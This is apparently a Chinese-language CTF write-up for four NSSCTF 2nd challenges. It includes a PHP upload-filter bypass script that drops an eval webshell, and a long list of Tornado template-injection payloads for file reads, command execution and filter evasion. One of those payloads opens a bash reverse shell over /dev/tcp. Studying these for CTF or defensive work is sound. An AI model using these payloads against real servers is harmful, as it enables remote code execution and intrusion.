NSSCTF 2nd复现
这次比赛出现了不少的问题,比如权限设置的问题。比赛的时候又脑子坏了,想的太复杂,最后导致只做出了两道web两道misc,需要深刻检讨。最近是不是状态不对
1.php签到
这题想的太复杂了,基础的签到都做不出来
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function waf ($filename ) { $black_list = array ("ph" , "htaccess" , "ini" ); $ext = pathinfo ($filename , PATHINFO_EXTENSION); foreach ($black_list as $value ) { if (stristr ($ext , $value )){ return false ; } } return true ; } if (isset ($_FILES ['file' ])){ $filename = urldecode ($_FILES ['file' ]['name' ]); $content = file_get_contents ($_FILES ['file' ]['tmp_name' ]); if (waf ($filename )){ file_put_contents ($filename , $content ); } else { echo "Please re-upload" ; } } else { highlight_file (__FILE__ ); }
一个简单的上传文件的服务,使用了waf过滤了ph,htaccess,ini函数。
stristr函数对于大小写不敏感,无法使用大小写绕过。
虽然是阿帕奇的中间件,但是并没有相关的后缀解析漏洞
注意到
1 $filename = urldecode($_FILES['file']['name']);
对传入的文件名字进行了一次url解密
在判断文件后缀的时候,使用了pathinfo()函数
pathinfo函数 以数组的形式返回文件路径的信息
1 2 3 PATHINFO_DIRNAME - 只返回 dirname PATHINFO_BASENAME - 只返回 basename PATHINFO_EXTENSION - 只返回 extension
1 2 3 4 5 <?php $name ="1.php" ;$a =pathinfo ($name , PATHINFO_EXTENSION);echo $a ;?>
有一个重要的特性是
当出现多个 .
时,结果为最后一个 .
后面的内容
1 2 3 4 5 <?php $name ="1.php.txt" ;$a =pathinfo ($name , PATHINFO_EXTENSION);echo $a ;?>
获取不包含后缀的文件名时,获取的是最后一个/
和最后一个.
中间的部分
假设我们这样,就可以让他无法读取到后缀
1 2 3 4 5 <?php $name ="1.php/." ;$a =pathinfo ($name , PATHINFO_EXTENSION);echo $a ;?>
对于file_put_content()函数
无论传入的文件名字是1.php还是1.php/.
都会被解析成1.php
所以只要上传一个1.php/.就可以了
1 2 3 4 5 6 import requestsurl = 'http://node5.anna.nssctf.cn:28998/' shell = "<?php eval($_POST['shell']);?>" file = {'file' : ('l.php/.' ,shell)} res = requests.post(url=url, files=file) print (res.status_code)
windows下不支持/成文件名的一部分,无所谓可以url编码
得到flag
2.二周年快乐
快乐牛魔
又是一道脑洞题,环境提供的是网页版本的win12,看到两个hint
一个是让我curl一个什么东西,一个是叫我访问nss的flag路由
这里直接使用靶机本地的命令行curl 一下那个flag路由,然后邮箱就会收到flag
没啥意义不细说(活挺花)
3.mybox 给了一个url可以输入内容,直接尝试用file协议读取flag
读取到flag在/nevvvvvver_f1nd_m3
直接就可以得到flag
真正的签到
4.MyHurricane 上来给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import tornado.ioloopimport tornado.webimport osBASE_DIR = os.path.dirname(__file__) def waf (data ): bl = ['\'' , '"' , '__' , '(' , ')' , 'or' , 'and' , 'not' , '{{' , '}}' ] for c in bl: if c in data: return False for chunk in data.split(): for c in chunk: if not (31 < ord (c) < 128 ): return False return True class IndexHandler (tornado.web.RequestHandler): def get (self ): with open (__file__, 'r' ) as f: self.finish(f.read()) def post (self ): data = self.get_argument("ssti" ) if waf(data): with open ('1.html' , 'w' ) as f: f.write(f"""<html> <head></head> <body style="font-size: 30px;">{data} </body></html> """ ) f.flush() self.render('1.html' ) else : self.finish('no no no' ) if __name__ == "__main__" : app = tornado.web.Application([ (r"/" , IndexHandler), ], compiled_template_cache=False ) app.listen(827 ) tornado.ioloop.IOLoop.current().start()
tornado模板注入
第一次遇到,小孩子不会学者玩的
1.模板语法 使用一些标记把python的控制序列和表达式嵌入HTML(或者文本格式里面)
支持{ { } }和{ % % },用法和jinja2有些类似,控制语句必须使用extends结尾
支持模板继承,可以使用extends和block标签声明
表达式可以是任意的Python表达式, 包括函数调用. 模板代码会在包含以下对象 和函数的命名空间中执行 (注意这个列表适用于使用 RequestHandler.render 和 render_string 渲染模板的情况. 如果你直接在 RequestHandler 之外使用 tornado.template 模块, 下面这些很多都不存 在).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 escape: tornado.escape.xhtml_escape 的别名 xhtml_escape: tornado.escape.xhtml_escape 的别名 两者可以转义相关的字符,使得他在xml或者html里面有效 url_escape: tornado.escape.url_escape 的别名 url编码 json_encode: tornado.escape.json_encode 的别名 对python对象编码 squeeze: tornado.escape.squeeze 的别名 使用空格替换所有的空格字符=》re.sub(r"[\x00-\x20]+", " ", value).strip() linkify: tornado.escape.linkify 的别名 datetime: Python datetime 模块 handler: 当前的 RequestHandler 对象 handler是一个class,也可以调用init方法 {{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}handler.get_argument('yu')}} //比如传入?yu=123则返回值为123 {{handler.cookies}} //返回cookie值 {{handler.get_cookie("data")}} //返回cookie中data的值 {{handler.decode_argument('\u0066')}} //返回f,其中\u0066为f的unicode编码 {{handler.get_query_argument('yu')}} //比如传入?yu=123则返回值为123 {{handler.settings}} //比如传入application.settings中的值 可以获取被ban的字符 —————————————————————————————————————————————————————————————————————————— request: handler.request 的别名 {{request.method}} //返回请求方法名 GET|POST|PUT... {{request.query}} //传入?a=123 则返回a=123 {{request.arguments}} //返回所有参数组成的字典 {{request.cookies}} //同{{handler.cookies}} ———————————————————————————————————————————————————————————————————————— 版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/miuzzx/article/details/123329244 current_user: handler.current_user 的别名 locale: handler.locale 的别名 _: handler.locale.translate 的别名 static_url: handler.static_url 的别名 xsrf_form_html: handler.xsrf_form_html 的别名 reverse_url: Application.reverse_url 的别名 所有从 ui_methods 和 ui_modules Application 设置的条目 任何传递给 render 或 render_string 的关键字参数
2.简单的利用 使用extends和include去继承模板
可以利用这个文件读
1 2 3 {% extends "/etc/passwd"%} {% include "/etc/passwd"%} 也可以把"去掉,这里就有这一个非预期
可以使用import去引入相关的模块和包
在这里就可以执行任意命令
比如引入os然后popen(‘ls’).read()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1、过滤一些关键字如import、os、popen等(过滤引号该方法同样适用) {{eval(handler.get_argument(request.method))}} 然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理 2、过滤了括号未过滤引号 {% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}} 3、过滤括号及引号 下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢? 是因为eval不支持多行语句。 __import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}&%0a""" 4、其他 {{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}} {{handler.application.default_router.named_rules['345'].target('/readflag').read()}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 1、读文件 {% extends "/etc/passwd" %} {% include "/etc/passwd" %} 2、 直接使用函数 {{__import__("os").popen("ls").read()}} {{eval('__import__("os").popen("ls").read()')}} 3、导入库 {% import os %}{{os.popen("ls").read()}} 4、flask中的payload大部分也通用 {{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}} {{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类 第二个中的x为有__builtins__的class 5、利用tornado特有的对象或者方法 {{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} {{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}} 6、利用tornado模板中的代码注入 {% raw "__import__('os').popen('ls').read()"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}